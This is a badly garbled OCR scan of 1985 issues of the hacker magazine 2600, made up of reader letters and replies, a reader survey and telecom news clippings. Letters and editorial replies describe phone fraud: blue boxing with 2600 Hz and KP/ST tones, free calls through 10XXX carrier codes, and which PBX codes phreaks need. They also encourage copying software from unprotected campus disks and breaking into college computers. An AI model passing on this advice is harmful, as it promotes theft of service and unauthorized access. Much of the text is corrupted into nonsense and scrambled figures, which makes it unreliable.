watput of the psuedo-random number generator. {Just use the same
seed. ) It seems that the disk would be copyable and guite
undecipherable,

L.l.
Deear L:

Keep ar wp, vou have the idea. Mase somne of our reaeders can conie
vy with simyilar fdeas thar can work on g specitic svseem,
Dear 2600:

The Long Dhstance Vovager, a phreaker. and mysell, a computer
hacker. have thoroughly enpoved vour veny imfommative magasane for
the past vear and one half. We would ke 10 share with our fellow
phreakers and hackers 2 "Fon Knox™ of computer and telephone
information which 15 wsually leit untouched.

On the college campuses across AMEnca. Campus COMPUILT Centers
arcactually a hacker’s paradize. With veny muimimal securny protecting
adminsstration programs placed vpon hard disk syvstems like the [BM
X T which is used in many schools located near the headguarters of Big
Blue. a hacker can obtain many valuable programs by just copying off
of the unprotected hard disk. Many faculty title their programs with
their own names. pe. TRSATIN could mean The Knight in White
Satin. and these can be easily broken into because the admimstration is
too busy worrted about hackers tampering with grades. ere_and they
leave unprotecied valuable programs ke LOTUS 121 wpon a hard
disk. {Most bureaucrats are stupid and lazy. otherwise they would be
doing more worthy asks than being paper pushers. )

And. just as imponant. The Long Distance Vovager has informed
mee that with the breakup of AT&T. many campuses are m transilion
phases, because thev are either changing their present long distance
syslem or modemizing their previous system.

We might also add that campuses are excelient places 1o hook into
the ARPANet, which can allow access to computers all over the world.
some of a military nature. Unhike corporations, army bases. and such.
college campuses don’t mind when people ask questions. A great deal
can be learmed here.

Keep up the good work. Both of us would like 240010 devote an issue
dealing with the setup of a bulletin board. We plan to starm one and call
it Voices in the Skv.

The Long Distance Voyager
The Knight in White Satin
Dear Yoyager and Knight:

Thanks for the information.

We have been thinking abour suggesing guidelines for setning up u
BBS. And we devored our August isswe 1o the subject of B85y and
BBS raids. If vou can think of some good guidelines. then send therm o
us. Remember thal there are many different tvpes of compurers oul
there. and there 15 a lor of different BBS software with differen:
vapabilites. Perhaps profiles of BBS programs and their securiny are
also in order.

Abour college campuses— vou showld know thar thev are guod
places 1o meer the very computers that vou wish to break o
Sometimes vou can ask one of the svstem managers for a tour of the
canpus computing facilivies. It is even helpful. deperding upon the
artitude of the potential tour guide, 1o rell them that « vu are d pari-rime
hacker (the rruth).

You should also note that in those very PC's vowmentioned. vou can
find someihing even betrer than Loius 1 23— the latess vopy programs.
Many of the latest copy programs are writien by college folk and then
guickly placed in their compuiers

Another resource on campuses are compuler wer groups or clubs,
Often these groups are given aceounts on the college computer,
regardless of what 1vpe of they may be. This is because the «lubs are
often hosted by lonely system managers or professors who are looking
for new biovod.

The colleges are a great place 1o look around, hecawse unlike an
office building, the people ar the colleges are ideally nor there 1o make
mone); that comes later.

Dear 2600:
Here's one for the 26i8 reading hst and it's readily available — Radio

Shack’s fmstalling Your Ovwn Telephones. Prenuice-Hall, 1983,
In these post-divestiture davs. the telcos are making a killing at our
expense with installations. Don't let them do it! How With this boak.

[0 o protuse s ilustrasted gonde or mstalliee phones and aocessones o
adding extenswons on veur sude ol e prowector weminael Aos
evervibimg vou could want to know for remmmeeg o bne and ok s
vour bedroom, And vou dont lunee 1o be tecloeally monded 1o b
advantage. bcovers obd andd new sostens amd troubleshootme. Wiile
vonn're hay i T vow T add toovour koo ledee of i the phone seis
work and heep baby bell Troom reachieg down imte vour pochket, (e
seent the proce range from 5795 10 89 95

Person
Lear Person:

W pererlize it s soen of SEH scemmis sy o e e, St o oo
vt P vigdys fok [ BT folamin Lgerpd p.'.l. PO ORI T LT TR siled
Justrivig i Rk rogeniur,

Dear Jadd:

A great sowrce of material For the = X8 readmg Bist” can be goetien
fromithe ATE T Coustoner Infommation Cemer. Y ou can reach then at
ATE T Customer Totormsanon Center. PO Bos TSS9 Indsenapasiis,
Induana, J619 ar at Y7 IERESA or SO0I26600, operator 1 Then
CIC Commercial Sales Dovumentanon Catalog Tsts several ven
imterestimg frles tor the elecommiumcations habbuost BESsand d-Ha
manisals, PBX and Cemres nuimmals, ocludme e 7 sanenswon
Svitem PBX Staton Messape Detanl Recording Intarmiation,” (54949-
200-210) the method by which companies detect Traud (nwosn PRYS
wsually have 3 codes, one vswally 4 digns = 123 o0 1202 or the ke o
el in, one for accounting purposes to determime what department o
charge it to (3 drgies) and one to dal owt, usuall 4, Phreaks only need
the first and the last 1o make calls. but the Message el Recording
natices that no department was charged. Error Mlags are dropped and
the code then changes.) Vowe store and Toward manuals are alw
mvanlable. There are a whole serws of Quorem  Teleconterencing
manuals available (the name [or the actual bridginge switch tha
Alhance Teleconlerencing uses, see 2800 May 1955, TSPS manuals.
and 1wo especially interesting ones. "Reguirements tor Compatability
ol Telecommunications Equipment with Bell Sun edbanee and Contraol
Svitems” (Pub 490011 and “General Remore Suneillance Philosops
and Critena for Interoffice Transmission Equipment™ (Pub 35002).
Other manuals of interest are “Techmeal Specilications and %et up
Control Procedures for the Network Audiographies Bridging
Capabiliny™{Allance Teleconterencing!!! ). "Common Channel
Signaling™ tCCI5. the death of blue boxing) and “Test Llnes General
Specifications ™ | have not even begun on the multitude of interesting
publications.

Also.the book Three Degrees Ahove Zero by Jern Bernstem s oven
good. Itis about research at Bell Labs sites. plus there s a long chapter
on CLASS (Customer Local Access Senive Svsteni. the thing beta
tested in Pennsvhvania which generates all the rumors about auto
traces & number refusals.)

Another source 100 good 1o puss up i Telecom Digest, For all vou
kackers phreaks just entering or now in college, check if vour local
college mainframe 1 connected to the ARPA or BITNET. Check il the
local BRoard ta common feature an university maintrames) alreadsy
gets 1t there. I s, just read oo I oot send F-mail o Telecom-
Reguest@™M I T-MC ARPA and ask Jsolithe moderator) to add vou to
the matling hist. Remember. this s not a phreak nessgroup, read
couple msues to get a feel of how it leans. For those of vou on the
LSEXNET look into det Sews tor fa Telecom dirum AR PA=a).

Lord Phreaker

Dear Readers:

We are convtantlv gentiing calls and letiers froom peopde whar are

comteerned ahogr the Provare Secror 8BS, The miachne o wrill heine
fe el 4{.|_|I‘J-r1". P ir .I'FI:‘ 1-f|'|:.lldlla-"-.:'t € ragarrin, e et PR TR (T L
el five—evidentl av aiting the logal electionms or prerlugs awaiting vamne
fearmmn eof fresdice feo @remve.

A e what o exactlv happening, we have fiife ses fooreporr 1he
Farve the mige hine, arill, ne company has pressed charges or enade gnny
complaim: no precive crimes were said 1o have been committed; the
are il ralking ahowr comypiraey foode seonedfung o wnnenne by
sarnehdy

The staff ar 2600 v siek exf ir. W wans fer see sonvie aefiesrs o " i
faarret Josr rpompd e rive ||H|:r iy ter i Lape paafesroesinem H|r_|r|'|'|'£.|'h- L TEY
remember thar they canred Breeak the faw aeed siamyy over fareple s
eighoy in an effore o enforce a luv . There are toce many BBSS heing
rak e devin with feoee few guestions beong avked. Ak wme gesdion,

2600

OOQZ/ LD
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LETTERS, Box 99, Middle Island, NY 11953-0099

Deear 2600:

On a trip in Ohio, [ was phreaking with the phone and no
codes worked. Then my girlfriend’s daughter asked me what |
was doing. | tried to explain phreaking to her (she’s 12). She
said “watch this.” She dialed her home phone number, let it ring
three times and hung up. It rang (ringback). So later | tried it in
a pay phone. Nothing. 958—nothing. 31 1—nothing. Anyway,
this is a small phone company in Germantown, Indiana. But
this technique might work elsewhere, why not?

HAL-%000/Beast 666
Drear 2600:

Proper use of the Carrier Identification Codes (November
1984) can lead to free calls. If your area supports equal access
merely dial 10XXX (XXX=carrier access code) + | + NPA +
Phone# (or even a # in your NPA). What happens is that the
alternate carrier doesnt have the proper billing address for you.
Y ou tell your local switch to charge it to you via the aliernate
service, but the alternate service doesn’t know where to send the
bill. Don't expect this method to last. Most carriers have wised
up and prevent dialing via them unless you sign up. However,
GTE Sprint (XXX=777) still allows this for most areas of the
country. It is rumored that dialing the CIC from a pay phone
results in a free call as well.

Lord Phreaker
Deear 2600:

| have recently become a *long distance’ subscriber to 2600
and fingd 1t very interesting—well done.

The reason | joined was to find out more about the U.S.
telephone system—1 am fairly familiar with eur local
equipment, naturally.

My particular interest is trading and making recordings of
the various tones (ringing tone, dial tone, busy tone, etc.) from
all over the world—! have several tapes full. | have noticed a
fair bit of variety among the ringing tones encountered on calls
to the States, and | imagine the trained ear can recognize from
the ringing which type of switch he is connected to.

Normally, USA ringing tone is a single beat, repeated every
few seconds—occasionally, however, it is a double beat then
silence, ete. This is much more similar to the British double beat
ringing, and 1 wondered exactly what sort of switch produces
this. Some people have told me the very latest electronic
switches, but this cannot be, as | have heard it for 15 years or
more.

By the way, the piece on Isracli phones (June 1985) was a bt
off beam. Dialing there—and all over Europe—is standard
loop disconnect. In Britain at any rate, off-hook line voltage is
often 7 or § volts, not as low as 3.5 as suggested in that article

a.e. in Britain
Dear 2600:
Is it true that blue boxing is on the way out? | hear it has

something to do with CCIS. What exactly is thisand why is it so
troublesome to phreaks?
Worried Phreak

Dear Worried:

Blue boxes are indeed a dwindling resource. But there’s no
need 1o throw them out yei. They aren't going 1o be totally
useless for quile some lime.

Basically, AT&T is converting gradually to CCIS trunks.
These don't allow boxing.

In-band signaling is the only kind of trunk signaling that.
supports boxing. It is by far the most prevalent at the moment.
Basically, in-band uses a 2600 hertz tone to indicate that a trunk
is idle, and thus can accept routing instructions from an
“outsider".

To box a call, the criminal blasts 2600 down the line after
making a long distance call. The line thinks it's idle and wails
for routing instructions. Now the criminal putsa KP tone and a
ST tone around the number that he's trying to get through to.
These comprise the routing instructions. Thus, the line thinks
it 5 idle. then it receives the routing instructions, and routes the
call to wherever the person seni it. Now, his central office (CO),
which does all billing still thinks he is making the call 1o
wherever, so it keeps on billing him at thai rate. If it happens to
think he was making a toll-free call, it won't bill him ar all!

Another form of signaling is out of band. This uses control
tones out of the normal band of ielephone transmission
(approximately 800 heriz to 3000 heriz). The idle tone is 3200,
others shified upward as well. So why couldn 't you just make a
new box? Dont forget, it s out of band. These tones aren in
normal transmission, so the local CO and customer interface
loop just don't bother to transmit them. You can blast all the
3200 you wani—it won't go through the CO to the trunk. But
this is not the “death of boxing " as it has several disadvantages
to the telco too numerous (o mention. :

The real death of boxing lies in Common Channel Interoffice
Signaling (CCIS). This is a direct connect data line going from
one ESS switcher to another al speeds up to 4.8 kB (usually
1.2 )—incredible speeds. All routing instructions are sent
through these lines. It isn't looking for control tones on the
trunk; it s getting them elsewhere. This means that you can blast
2600 hertz tones all vou like. It wont make a difference because
the equipment is no longer listening for them. This kind of
signaling is being phased in all over the country. Look for one in
vour neighborhood.

Sirice CCIS has benefits for really high volume trunks, vou
can try looking for long distance irunks to Canada, or rural
states. These probably won't be phased in for a long time, if ar
all. (Remember, very few companies just invest in new
technology for new tech s sake; even AT& T won 't be able 1o do

this for long).

In the October 19 issue of The New York Times, & was
reported that at least 23 teenage computer users had broken
into a Chase Manhattan Bank computer installation by
telephone in July and August and “significantly damaged™
bank records, according to the FBL

In The Wall Streer Journal on October 21, Michael
Urkowitz, executive vice president for operations and systems,
said that in public statements and documents the FBI had
characterized the invasion of the system as more serious than it
was in order to obtain search warrants of the youths® homes.

“We know absolutely that they didn't damage or manipulate
data,” he said, although they did change some passwords. It

wasnt an event that caught us unaware. Everything worked the
way it was supposed to.... We got caught between the FBI's
need to make this sound alarming and the facts as they are.™

He said that the youngsters broke through only the first level
of security, which didn't give them access either to the names of
customers or their balances.

But, according to The Times, interviews witih Federal
investigators “drew a picture of officials of the nation’s third-
largest bank bewildered and a bit frightened by a series of
scemingly inexplicable events in one of their key computer
systems.”

Who do you belicve?
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SURVEY

The survey results are in and here they are: 42,41 of the cards were returned, An
average of 2,20735 people per subscriber are reported to read 2500, B5.51 say they

allowed):

RESULTS

Dear Readers: We are quite willing to admit that most of the responses to our
reader survey were complimentary. Many of you provided ws with useful
criticism. We hope you do not find any more problems with the punching of the
holes, We have taken new steps to envrure that the holes meet indusitry standards.
Since we gol so many positive respornses, we were forced to print a larger
proportion of the negative responses. Then again, quite a few of the negative
resporcses read ke this: "] am not satisfied beeause you are not weekly ™ or “not
10 pages, "eic. Well, at lrast thix monith we are [0 pages.

New York, NY—Exchusive information. Keep it up, My least favorite part is
that there are no dates on news items, nor datelines,

Raleigh, NC—Too much “lufl™ news. Too much telephone blue boxing info, |
think you perform a “public service™ by exposing ways to hack into computer
systems, The companies will not give users this information. A magarine like
2500 may “wake up” some readers and computer users, Much of your technical
information s not accurate. For instance, the 10/85 articlke on WMS did not
mention version 4.0 secunty features which radically altered YMS and made
your articke obsolete, Also there is no such privilege in VMS as “syitem
FAARARET ",

Kilmer Facility, NJ=It’s the perfect complement to Private Sector BBS (when
it’s online, that is) (even better when its offline ®*sigh®).

Salinss, CA—Taking up valuable room with stupid 2400 *Flash™ news briefs,
same for *Systematically Speaking™. These articles are of amusing interest only
nothing that great. Like to see a beginners' series such as the basic terms
definitions and a tutorial on how to get started hacking and phreaking.
Philsdelphia, PA—Keep your scope broad and always include news items and
commentary; all of those who read my copy are interested in maintaining
secunity and laughing at phone companies.

Charleston, SC=Would like to see special pricing on all back issues as a
package. What happened to TAP? And why a different P.O. box for this card?
A of thiz month, back issues will be available at a special rate of 520 per volume
(ali of 1984 or 1985). .

TAF s gone. We have not seen a new copy for well over a year. We have heard
various ruomours about TAP. Incidentally fand for the benefii aof those who
haven't heard ws say thiz a dozen times before). we are not TAF.

Finally, the different P.O. box was used 1o receive ihe survey cards, so we would
not clog the other box up. We even have other boxes for other purposes, but we
don't warl 1o bore vou with ithe details.

Phoenix, AZ=I like your rag a lot.

Smithtown, NY =1 think it's a great magazine. Please try to give out numbers of
really good BBS's. Also include more schematics.

Westchester, NY=Try to avoid trouble! | value your info very much! Why
should one person be dumb to the ways of the world!

Western Nassan GMF, NY —How aboul some phreak basix? A small column on
this from month to month would be pretty cool. 1 know some hackers; no real
phreaks. When wacko Jersey DA are talking about “moving satellites™ and the
“strail press” is talking about tank parts or lunching nukes, it's good 10 know
there are still more places like 2600 to go to to find out the truth.

Fort Smith, AR —Favorite: contributions by hackers & phreakers, Least: Gillers.
Kecp up the excellent work.

Kansas City, MO—1 would like to see more technical articles on the phone
system and how about explosives? You showed some real guts publishing the
blue box plans and although it is much more difficult how dothey work. Publish
the results of this survey. Publish linancial report on 2600,

We do not like explosives. There is a plethora of magazines that tell abowt them
orf look in the Anarchist’s Cookbook or you could wse gasoline and a match or
perRaps an axe.

Washington, DC—Any information on phones is valuable and hard to get but
you never provide background, explanations, or words for acronyms. Define
terms, give references. Your recent letter about ripping ofl universitics was
extremely offensive. Stop filling space with AT&T ads.

San Frandsco, CA—Put in more How To phone info—actual telco codes. Also
how to use Blue, Black, Green, etc. boxes—that is why | subscnibed —to get such
information.

Honoluby, HI—Far away most valuable information available for mere pennies.
Denver, C0—Plkase continue covening as much teleo ¢lectronics 2 you can get
a hold on. Also very much appreciated are the suggested reading materals—
more suggestions would be highly valued. Also would like lists of other such
publications running along the same lines as 26, Finally any such info on
international systems, such as UK., ltaly, Australia, or Japan would be
invaluable, The more of the above 1 se¢ the more [ will be motivated to
aoninbute.

US. Postal Service, MI—=Would like 10 sec more flirst person accounts and
Inlerviews.

Sor would we.

Staten laland, NY—How about a 2600 BBS Meawork? (one step closer 1o
Exxon's size...) Where's the 2600 phonebook? Topics: BBS's that cater wo
hackers, phreaks, Arpanet in detail, do all Bioc's tutorials in series, trashing
spots (have readers send these in).

Pittsburgh, PA—[ have been known Lo do some risky things, but not anymaore.
would like to see more info on nisk fres pastimes, especially 300 numbers, Maybe
a section Lo post BBS numbers.

Please sewd us lists of BES mumbers or a brief review of your favarite BAS.
Western Nassau GMF, NY=0ood luck highting the system. Keep up your
exposes of the communication CoOMpanics.

Smithtown, MY—Like the short clips and letters; dislike the long, technical
articles geared toward small elite of specialists. Topecs: hacking laws: where are
the limis?

Birmingham, AL—Too much space devoted 1o news clippings— but keep them,
just reduce print size.

Mo Fostrark—S5ince it seems that TAF has gone the way of the dinosaurs,
perhaps you could Till in some of the areas of subject matter that they covered.
Ferhaps occasional inerviews with phreakers) hackers: sysops o a shofl review
of a good BES. Perhaps something with the 4 14 wazard abou being busied or
Bootlegger.

Denver, CO=Too much space is devoted to computers. The price has
increased—1 gucss that’s an improvement for you. | probably wonl renew.
The price only increased from 510 to 312 per year back on March [si. Back issue
prices did increase, bui this showld ot affect vour remewal. Are you fust irving fo
Epress us?

Houston, TX —Fills a void in the phreaking world,

Mo Postmark—Lcast favorite part is the articles on operating systems; Most:
crime and intrigue!

93. 21,
isprove. Finally,

are satistied. 9.01 say they are not. Reasons for reading (sore than one choice was
b: 33.31 - personal, 45,71 - huhh; 33.0% - business

9.0% - industry, 25.00 - phreaker, 28, i

respondents considered thesselves a Ehrnker:
neither a Ehreal!r nor a hac

6.1 - securit agen:I,
= hacker, B.0I - other. 12.;1 of the
12,70, a hacker; 12,11, both; and
er. 44,31 said we improved, B.01 said we did not

0,41 said that they would contribute to 2800 1n some way.

No Postmark —Include more delinitions, explanatory material. | hope you can
keep 2800 going. 105 got a lot of interesting stufl, and its nicely produced.
New Orienns, LA=A1 least you're trying, Please tell me how the Duich TV
pirates built their wireless TV transmitters for 520 {as stated in am ssue this year).
It is vital 1o free speech in the US that we build one and use it T love your mag,
but you should do follow-ups on earlier stories.

We do not know any more aboul these piraies. Readers® Perhaps yvou can
areswer this ovne?

Van Muys, CA—Not satisflied, It's not TAP. Topics: anything dastardly, home
built H-bombs, eic.

Prince Georpes, MD—S5ometimes writing 15 childish. Less sensationalism, Too
much “we, they.” Challenge readers maore.

Salt Lake City, UT=Favorite part is the tech articles. Least Favorite pan &
system trashing examples. How about a scparate page of classified ads from
readers wanting to buy/ sell modems, tech. manuals, etc.

Mo Mark—NMNeed better balance for new readers who are not sure what is going
on.

Baltimore, MD—Llsually good information; least favorite pant is the lack of
maturity {unsigned articles, etc.} lmprove: have all articles signed.; be
responsible.

Unfortunately, in this world, where dava s stored here and there, where
databases are crossmaiched, where the goverrmmenr opens a “file™ on ithe
suspicious, where the FBI delights in punishing yourhs by sending them to bed
without their computer, our writers hove an waderstardable righi to withhald
information like this. 3600 is primarily in the business of providing information.
A byline is not nearly as important to anyone as the article iiself.

San et off postmark =15 difficult for some of us who are not already
familiar with, say, a computer system 10 get much out of an article which delves
directly and deeply on a panticular subject. For instance, there was a recent
article on some DEC system, starting of f with how you get into it and what vou
can do. It would have been of benefit to the wninituated 10 have an opening
paragraph descnibing uses and users of such a system, and how the infarmation
in the article can be of any use to the hacker or casual experimenter. In general,
though a good publication; | look forward to each issue. Hope you get your BBS
back up; 1'd ke to access it if T could figure out how.

Raleigh, NC—Could have more technical content, better articles CONCEIMINg
theory of operation, and new updated systems i.e. ESS, DMS5, ete.

Rolla, MO—Interesting artaicles, knowledgeable, ot over awed by technology
{as are regular news peaple).

Thar'’s whar we rg all about.

Oraklnd CA—Would like more tachnical artiches.

Somewiere in Cansda—A hhough very satishiod would Like 1o 52 more on strecture of
petworks and personal tales. Info bureaw: sometimes weak explanations, other times
urrelevant filler.

Oriando, FL.—Lad aricle usually good. Flash s 50 s,

Omaka, NE—Favorite part i the cover articles. Least favorite part is xerox of
advertisements.

Baton Rouwpe, LA~ like all of !

Los Angeles, CA—High tech and informative, A rare breed of journalism soon Lo
oo Extinct,

Why extine? As sime passes by, the sigff of 2600 will undoubredly breed more
jonermalisrs. Alio as rime passes, technology developmenis will open new frontiers. In
ihe 8’3 ihere was only the world of telephony. Now there s acrazy telephone world as
well as @ computer world Who knows what the future brings.

(TBegible}—Least favorite part is “Dear 26007, Most favorite part is info on phone
(Cut offy— Al this low cost anicles are excellent. Most favorite pan is information
burean. Leset favorite: MO0 Flash,

I we lowered the price would vou idke the conteni of articles beiter? : :
Sacraments, CA=Not enough informaton on “how 0.7 1 hke the mald secion,
dislike some of the news artickes (1he ones that are just trivia; no info)

Oosaba, NE—Have enjoyed reading the publication if for only a short time. Have
found it very informative. Hope the articles and good work continee. This is one of the
few ways the real information can reach intercsted partics.

San Jose, CA—Excelient attempls al accuracy.

A tterrgpis?..

Dakland, CA—Favorite part s news clips, least favorite pan is biased reporting.
Mariesm Del Rey, CA—I thought the mag would talk more about computers rather
than tekphonss.

Kanses City, MO—It's good “scare™ material for sysiem security professionals.
Roanoke, ¥A—Good from the stan. Glad [you] dont do drug anicles like TAP
(waste of space}—improve by covering more diverse technologies. Put out call for

Salt Lake Clty, UT=Prefer mone computer hacking info, kess phone phreak info.
Mom mainframe socess numbers and passwonds,
We never publish wnless they are non-funciional or default patswvords,
Northern Vinginis, ¥ A—for the price it's not bad but for myself I'm more into just
wrtead of ing.
mﬂum.ﬂ}—ﬁmqumwmﬁmmdMH:bmphmm , mare of
them. Like to see miliary manuscripis of any type on weipons, communications, and
computer banks. :
Hickeville, NY =Y our articles have gone down, whik: news bits o ather bits have gone
up. The artaches are much more interesting.
Chieago, IL—=Can improve: yes, make it bigger.
Trepton, MJ=5till too technscal.
Lancaster, CA—| would like 10 se¢ more information on inig, both techniques
and hardware. | read 2600 (or the shear scstany of knowing what makes “the sysiem™
wark.
And there you have it. Some of you do not lke our Newsflash column, then again
about the same amouni of pou think it i the best part of 2600. Some of pou say it it oo
technical, gnd ther some 22y if is not fechnical enowgh. Some of you say that there is
too much compuier emphasis, and some say that there i3 100 much discussion of
relephony. At Least we know thar many of you want (o se¢ some articles covering ihe
bazics of phreaking and hacking, something which we will devore more space 1o in
1988, Many of you also like the letters section, which, unforiunalely. has been replaced
with this section this momth. _
If youi ward LI 10 jpring secret t docurmnents, then someone fas (o send us
secret povernmeni docuements. [f you like the letters cokamn, then wrile sformaiive
Lerrers 1o ws. The same goes for feanres and articles and siories ond dara,. We have
rany good wrirers, Bl we warnd mode.
Happy New Year. = .



QYo TERIATICALLY SPERKINNG

In May, the magazine added two more pages and in June, a new teature was
introduced. “Systematically Speaking” was rather similar to “2600 Flash” but
was meant to be devoted exclusively to “news on advancing technology” and
not so much the anecdotes one might find in “2600 Flash.” This new feature
appeared in every subsequent month except for August.
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Say Goodbye to Meter Readers
Asancialed Pross

The New York Telephone Company has asked the State
Public Service Commission to approve a plan to read utility
meters by telephone, a service that could make the door-to-
door meter reader a figure of the past.

A statement issued by the company said regular telephone
service would be unaffected by the meter-reading service. The
service would make readings only on telephone lines that were
not in use, and would automatically disconnect if a call came in
during a reading. Each reading would take about two seconds,
a New York Telephone spokesperson said, and would probably
take place at night.

Bob Loftus, a spokesman for Brooklyn Union Gas
Company, said, “We'd be able to reduce operating costs, we
think. And, of course, our customers would have convenience,
since they would not need to be at home. And it would eliminate
estimated billing.”

Officials for the union representing Brooklyn Union Gas
meter readers could not be reached for comment.

Thai Phone Books a Hot Issue

Wall Spreet Jaoiirmal

An AT&T unit filed a $95.6 million lawsuit against a GTE
unit, escalating a battle over the right to publish Thailand’s
telephone directories.

The suit, filed by AT&T International Inc. in Bangkok,
Thailand, alleges that actions by GTE Directories Corp. and
other defendants have caused *“severe damage to the
reputation” of AT&T International in Thailand and other
countries.

In February, AT&T International won fierce bidding for the
right to publish Thailand’s directories for the next five years.
The loser was GTE Directories Corp., whose Thai unit had
published Thailand’s phone books for the past 17 years.

In March, GTE Directories filed a $31.4 million suit against
AT&T International, alleging it had committed “wrongful
acts™ in connection with the bidding.

New Tracking Device For Cars

Thee Mogm Wisil | oimees

Seven years ago, William R. Reagan wrote out an invention
disclosure, the first step toward a patent. With all the police
cruisers and communications networks and computers in this
country, he thought, there should be some way to equip an
automobile with a transmitting device that the police could
home in on should the car be stolen.

Today, Mr. Reagan is responsible for just such a device. A
police cruiser equipped with a tracking unit can pick up the
signal two or three miles away, lock in on it, and track it
through woods, fields, subdivisions, or city streets, rght to the
car. In 550 tests in the last four months, the Massachusetts State
Police have found the hidden car every time.

By an agreement reached with the state, Mr. Reagan has
installed about $300,000 worth of equipment that will remain in
state police cruisers and facilities.

When a car is reported stolen, the police entry in the crime
computer automatically causes a special signal to be broadcast
from police radio towers across the state. When the signal
reaches the transmitting device in the stolen car, the device
begins to emit its own silent pulse, which can be picked up by
police cruisers with tracking units. The signal flashes the car’s
code name on the cruiser’s console. The officer in the crnser
gives that name to the police dispatcher, who uses it to get the
stolen car’s description from the crime computer. He gives that

1985

description to the officer in the cruiser, and se, as the cruiser
homes in on the signal, the officer knows what car to look for.

Massachusetts governor Michael D. Dukakis commented,
“{My ultimate goal is] eleven million cars a year coming out of
Detroit equipped with this.”

Problems for New Pay Phones
Fortane

Since the FCC approved the sale of pay phones in the
summer of 1984, new competitors have sold or installed more
than 10,000 privately owned coin-operated phones. Many in
the industry expect upwards of one million to be in use by 1990,
replacing at least some of the 1.8 million phone company
quarter-eaters currently in operation.

A technological hurdle is still to be cleared, though. Until
recently none of the so-called smart pay phones have been able
to determine when a call is answered, and thus when to gobble
the coins. To collect the money, the phones typically require
users to push a button once the connection is made before they
can be heard by the other party. Many people get confused and
lose their money. “Violently smashed phones are a major
problem,”says William Moorehead, a specialist on the industry
for the Partridge Group consulting firm in Washington, D.C.

TINA Message Service

Radio Eloctranss

A new communications service, which is expected tomake it
possible for small businesses to send and receive international
messages for a small fraction of the cost of Telex or similar
services, has been initiated by Service Systems Technology
(SST) of Marina del Rey, CA and Milan, Italy.

Known as TINA International Message Service, the new
system has one limitation as compared with Telex or similar
services: Communication is between subscribers in U.S. or
foreign “gateway cities,” or more specifically, from the
computer of a subscriber to the computer at his other
“glectronic mailbox.”™

A subscriber dials a local number to get on an international
network, then sends his message through a modem attached to
his telephone. The network is that of INFONET, which has
offices worldwide.

Cost of the service, which includes two “electronic
mailboxes™ and two hours of computer time is $99.60 per
month. That charge, says SST, gives subscribers the amount of
service that would cost about $2200 by conventional services.
Extra computer connect time is obtainable at 358.60 per hour.
Extra electronic mailboxes and user ID's are 510 per month.

AT&T Contractual Obligations

Combined Mows Soans

AT&T is making its employees sign a new contract which
prohibits the disclosure of proprietary information outside the
company. In addition, the contract covers inventions made asa
result of employment, as well as inventions in “all areas in
which AT&T does business or in which the company might be
reasonably involved in the future.” It is forcing this
“agreement™ not only to new employees but to its present

employees.

“Call Me” Card

Ciombind Mews Houries

AT&T will soon introduce a credit card that can only be used
for calling home. The card should eliminate any chance of
telephone fraud on credit card numbers. In addition, it is
expected to reduce phone bills by removing incentive to call

a new part of 2600 for news on advancing technology anyplace else.
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MCI Expanding With Optical Fibers

Wall Sapeet Josarmal

MC1 Communications plans to spend about 3400 million to
expand its U.S. telecommunications network by adding optical
fiber routes in the Midwest and elsewhere. [Optical fibers are
thin, flexible fibers of glass or plastic that transmit voices,
television programs, and data in digital form, with on/ off laser
pulses representing zeros and ones. This gives greater fidelity to
the signals with less distortion from electrical interference.
Moreover, because the laser beams are so narrow, the plass
fibers can carry more information than do copper wires. An
optic fiber cable less than an inch thick, for instance, can carry
40,000 phone calls simultaneously—a job that would require
several copper-wire cables, each 4 to 6 inches thick. The diode
lasers found in optic fiber systems are tiny crystals, some no
larger than a grain of salt, that emit a beam of light when
electrically stimulated. They consist of such matenals as
indium, gallium, arsenic, and phosphorous, mixed in specific
proportions. Currently, MCI operates an optical fiber system
between New York and Washington. ]

The company has obtained rights to 7,300 miles of railroad
right-of-way. Along with other improvements, the project will
increase the long-distance telephone company’s transmission
capacity 800; by year’s end.

The First 100% ESS State

Ihe Hachensack Fooord

By 1988, New Jersey will be the first state in the country to
convert all of its 250 central offices to Electronic Switching
Systems. As a result, all kinds of new services will be popping
up [such as instant detection of all phone phreaks!]. One such
service will allow users to learn who is calling them before they
pick up the phone and to program the phone to assign
distinguishable rings to certain callers.

In addition. the company plans to introduce REACT, a
burglar aJarm system connected to the telephone. 1t informs the
phone company if an alarm is triggered or a phone wire is cut.
The phone company, in turn, will contact the burglar alarm
company. [Presumably, somebody will wind up calling the
Cops....]

E-COM Really On The Way Out

Wall S5t Jousmal

The Postal Service intends to fold its money-losing electronic
mail service if it doesn't find a private buyer for it by the end of
the summer.

Postal officials have been searching since last summer for a
buyer for E-COM. The service is used by about 900 (?!)
customers to transfer messages electronically to post offices for
delivery via regular mail, usually within two days.

AT&T Put On Hold
LS4 Today

The FCC delayed until October 1 a decision on an AT&T
plan to offer 159 discounts on long-distance bills in return for a
monthly $25 fee. AT&T had wanted the plan, aimed at small
businesses, to begin on May 1.

GTE Now Bigger Than AT&T

Sew York Post

GTE Corporation has become the nation’s largest utility asa
result of the breakup of the American Telephone and Telegraph
Company. according to Fortune Magazine. GTE had been a
perennial second to giant AT&T.

Pentagon Steals Cray From AT&T

Mew York Dadly Sews

Last January, AT&T's Bell Laboratories developed a 1-
million-bit computer chip—four times more powerful than the
most advanced Japanese or American chip. But the race goes
on. To proceed to the next level of chip development, Bell
wanted a Cray X-MP supercomputer, made by Cray Research
of Minneapolis.

Bell placed its order with Cray and delivery was scheduled for
August—until the Pentagon stepped in. General Dynamics
Corp. also needed a Cray X-MP to do research on the F-16 jet
fighter. Cray told General Dynamics to wait its turn. General
Dynamics appealed to the Pentagon and, under a 35-year-old,
Korean War-era law, got priority over Bell on the grounds of
national secunty.

Bell's microchip research will be delayed up to four months—
a critical amount of time in the technological race against
Japan. To Dr. William O. Baker, retired chairman of the board
of Bell Laboratories and a member of the President’s
Intelligence Advisory Board, the issue is indeed critical.

“We would feel that the design of a four-megabit chip (the
obvious next generation of chip) is as vital as any matter that -
confronts the country at the moment... The Pentagon’s
allocation of resources to the military is very unskilled and very
naive.”

NSA Chooses AT&T Computer

The Mew Yark Tines

The National Security Agency has chosen the Amenican
Telephone and Telegraph Company to supply it with up to 5946
million in minicomputers and services for a new, classified
project.

The contract appeared to be one of the largest for the
purchase of sophisticated computer systems by the intelligence
community. Officials of the NSA, the largest and most secretive
intelligence agency in the United States, did not say how the
computers would be used. But industry sources and intelligence
analysts suggested that the NSA would deploy the machines at
its headquarters in Fort George Meade, MD), and in field
offices around the world and would use them to help encode
and decode data flowing through the Government’s
communication networks. A spokesman for the NSA said the
machines were for a “new purpose” and would involve “many
units, spread out over a number of places.” Sources indicate
